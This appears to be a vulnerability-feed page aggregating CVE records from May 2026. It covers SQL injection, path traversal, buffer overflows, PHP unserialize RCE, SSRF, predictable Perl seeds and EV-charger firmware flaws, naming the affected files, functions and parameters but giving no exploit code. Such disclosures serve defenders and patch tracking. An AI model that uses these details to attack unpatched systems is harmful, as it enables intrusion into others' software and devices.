Crypt::DSA versions before 1.20 for Perl generate seeds using rand. (May 15, 2026).
Crypt::DSA versions before 1.20 for Perl generate seeds using rand.

Seeds were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8700).
Sources:
NVD CVE-2026-8700: https://nvd.nist.gov/vuln/detail/CVE-2026-8700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Crypt::DSA versions before 1.20 for Perl generate seeds using rand.

Seeds were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint.
https://kevwire.com/record/CVE-2026-8725
A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. (May 17, 2026).
A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8725).
Sources:
NVD CVE-2026-8725: https://nvd.nist.gov/vuln/detail/CVE-2026-8725
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The extension fails to properly sanitize user input before using it in a database query.
https://kevwire.com/record/CVE-2026-8726
The extension fails to properly sanitize user input before using it in a database query. (May 19, 2026).
The extension fails to properly sanitize user input before using it in a database query. As a result, an unauthenticated attacker can inject arbitrary SQL through a URL parameter on pages using the "Date Menu of news articles" plugin. Exploitation requires the "Date Menu of news articles" plugin to be in use and the TypoScript/Plugin setting disableOverrideDemand not to be enabled.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8726).
Sources:
NVD CVE-2026-8726: https://nvd.nist.gov/vuln/detail/CVE-2026-8726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The extension fails to properly sanitize user input before using it in a database query. As a result, an unauthenticated attacker can inject arbitrary SQL through a URL parameter on pages using the "Date Menu of news articles" plugin. Exploitation requires the "Date Menu of news articles" plugin to be in use and the TypoScript/Plugin setting disableOverrideDemand not to be enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize().
https://kevwire.com/record/CVE-2026-8727
The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize(). (May 19, 2026).
The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize(). An attacker controlling a crawled endpoint can inject arbitrary serialized PHP objects, leading to Remote Code Execution on the TYPO3 server. Exploitation requires administrative privileges to configure a crawler-enabled page and trigger the crawl via a Scheduler task.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8727).
Sources:
NVD CVE-2026-8727: https://nvd.nist.gov/vuln/detail/CVE-2026-8727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize(). An attacker controlling a crawled endpoint can inject arbitrary serialized PHP objects, leading to Remote Code Execution on the TYPO3 server. Exploitation requires administrative privileges to configure a crawler-enabled page and trigger the crawl via a Scheduler task.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe.
https://kevwire.com/record/CVE-2026-8733
A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. (May 17, 2026).
A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor responded to the initial vulnerability report by the researcher with a note that the product is discontinued. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8733).
Sources:
NVD CVE-2026-8733: https://nvd.nist.gov/vuln/detail/CVE-2026-8733
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor responded to the initial vulnerability report by the researcher with a note that the product is discontinued. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper...
https://kevwire.com/record/CVE-2026-8734
A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper... (May 17, 2026).
A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper Interface. This manipulation causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8734).
Sources:
NVD CVE-2026-8734: https://nvd.nist.gov/vuln/detail/CVE-2026-8734
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability was determined in Oinone Pamirs up to 7.2.0. Affected by this issue is the function RSQLToSQLNodeConnector.makeVariable of the component queryListByWrapper Interface. This manipulation causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the...
https://kevwire.com/record/CVE-2026-8755
A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the... (May 17, 2026).
A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the component Model Handler. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8755).
Sources:
NVD CVE-2026-8755: https://nvd.nist.gov/vuln/detail/CVE-2026-8755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The affected element is the function _get_all_models of the file hiyoriUI.py of the component Model Handler. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file...
https://kevwire.com/record/CVE-2026-8756
A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file... (May 17, 2026).
A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8756).
Sources:
NVD CVE-2026-8756: https://nvd.nist.gov/vuln/detail/CVE-2026-8756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp.
https://kevwire.com/record/CVE-2026-8758
A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp. (May 17, 2026).
A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp. Executing a manipulation of the argument File can lead to unrestricted upload. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8758).
Sources:
NVD CVE-2026-8758: https://nvd.nist.gov/vuln/detail/CVE-2026-8758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability was determined in Metasoft 美特软件 MetaCRM up to 6.4.0 Beta06. This impacts an unknown function of the file /common/jsp/upload3.jsp. Executing a manipulation of the argument File can lead to unrestricted upload. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file...
https://kevwire.com/record/CVE-2026-8759
A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file... (May 17, 2026).
A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file beetl-classic-integration/beetl-spring-classic/src/main/java/org/beetl/ext/spring/SpELFunction.java of the component SpELFunction. The manipulation leads to improper neutralization of special elements used in an expression language statement. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8759).
Sources:
NVD CVE-2026-8759: https://nvd.nist.gov/vuln/detail/CVE-2026-8759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability was identified in xiandafu beetl up to 3.20.2. Affected is an unknown function of the file beetl-classic-integration/beetl-spring-classic/src/main/java/org/beetl/ext/spring/SpELFunction.java of the component SpELFunction. The manipulation leads to improper neutralization of special elements used in an expression language statement. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm.
https://kevwire.com/record/CVE-2026-8764
A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. (May 17, 2026).
A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. Such manipulation of the argument param leads to buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8764).
Sources:
NVD CVE-2026-8764: https://nvd.nist.gov/vuln/detail/CVE-2026-8764
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A security vulnerability has been detected in H3C Magic B3 up to 100R002. This affects the function UpdateWanParams of the file /goform/aspForm. Such manipulation of the argument param leads to buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file...
https://kevwire.com/record/CVE-2026-8771
A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file... (May 18, 2026).
A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java of the component Front-end WeChat API. Performing a manipulation results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8771).
Sources:
NVD CVE-2026-8771: https://nvd.nist.gov/vuln/detail/CVE-2026-8771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A security flaw has been discovered in linlinjava litemall up to 1.8.0. This impacts the function list of the file litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java of the component Front-end WeChat API. Performing a manipulation results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler.
https://kevwire.com/record/CVE-2026-8775
A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler. (May 18, 2026).
A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler. This manipulation of the argument L2TPUserName causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8775).
Sources:
NVD CVE-2026-8775: https://nvd.nist.gov/vuln/detail/CVE-2026-8775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw has been found in Edimax BR-6428NS 1.10. This affects the function formL2TPSetup of the file /goform/formL2TPSetup of the component POST Request Handler. This manipulation of the argument L2TPUserName causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request...
https://kevwire.com/record/CVE-2026-8776
A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request... (May 18, 2026).
A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request Handler. Such manipulation of the argument pptpUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8776).
Sources:
NVD CVE-2026-8776: https://nvd.nist.gov/vuln/detail/CVE-2026-8776
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request Handler. Such manipulation of the argument pptpUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the...
https://kevwire.com/record/CVE-2026-8785
A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the... (May 18, 2026).
A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the component GET Parameter Handler. Executing a manipulation of the argument appointment_no can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8785).
Sources:
NVD CVE-2026-8785: https://nvd.nist.gov/vuln/detail/CVE-2026-8785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A flaw has been found in projectworlds hospital-management-system-in-php 1.0. Affected by this vulnerability is the function getAllPatientDetail of the file update_info.php of the component GET Parameter Handler. Executing a manipulation of the argument appointment_no can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.
https://kevwire.com/record/CVE-2026-8788
Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections. (May 18, 2026).
Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.

The values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

Note that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8788).
Sources:
NVD CVE-2026-8788: https://nvd.nist.gov/vuln/detail/CVE-2026-8788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.

The values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

Note that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection.
https://kevwire.com/record/CVE-2026-8827
The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection. (May 19, 2026).
The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection. The method is not invoked anywhere within the extension itself and therefore poses no direct risk in a default installation. However, custom extensions that call this method with untrusted input would expose the site to SQL injection.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8827).
Sources:
NVD CVE-2026-8827: https://nvd.nist.gov/vuln/detail/CVE-2026-8827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection. The method is not invoked anywhere within the extension itself and therefore poses no direct risk in a default installation. However, custom extensions that call this method with untrusted input would expose the site to SQL injection.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Creating a "2dsphere_bucket" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will...
https://kevwire.com/record/CVE-2026-8843
Creating a "2dsphere_bucket" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will... (May 18, 2026).
Creating a "2dsphere_bucket" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will crash the server. A similar issue occurs when creating "queryable_encrypted_range" indices.

This issue affects MongoDB Server v7.0 versions prior to 7.0.32, v8.0 versions prior to 8.0.21 and v8.2 versions prior to 8.2.6
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8843).
Sources:
NVD CVE-2026-8843: https://nvd.nist.gov/vuln/detail/CVE-2026-8843
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/SERVER-116327
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Creating a "2dsphere_bucket" index on a non-timeseries bucket collection will succeed, but any subsequent attempt to insert a document which triggers updating that index will crash the server. A similar issue occurs when creating "queryable_encrypted_range" indices.

This issue affects MongoDB Server v7.0 versions prior to 7.0.32, v8.0 versions prior to 8.0.21 and v8.2 versions prior to 8.2.6

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface.
https://kevwire.com/record/CVE-2026-9037
A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. (May 28, 2026).
A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. Because cryptographic signatures are not verified, an attacker with the ability to interfere with or impersonate the management channel could cause the device to install an unauthorized firmware package. This condition could allow execution of unauthorized code with high privileges on the device.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9037).
Sources:
NVD CVE-2026-9037: https://nvd.nist.gov/vuln/detail/CVE-2026-9037
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. Because cryptographic signatures are not verified, an attacker with the ability to interfere with or impersonate the management channel could cause the device to install an unauthorized firmware package. This condition could allow execution of unauthorized code with high privileges on the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply...
https://kevwire.com/record/CVE-2026-9038
A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply... (May 28, 2026).
A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply message fields that exceed expected bounds. Because the input is not sufficiently validated, memory corruption may occur, which can lead to execution of unauthorized code with elevated privileges.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9038).
Sources:
NVD CVE-2026-9038: https://nvd.nist.gov/vuln/detail/CVE-2026-9038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply message fields that exceed expected bounds. Because the input is not sufficiently validated, memory corruption may occur, which can lead to execution of unauthorized code with elevated privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for...
https://kevwire.com/record/CVE-2026-9039
A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for... (May 28, 2026).
A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9039).
Sources:
NVD CVE-2026-9039: https://nvd.nist.gov/vuln/detail/CVE-2026-9039
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
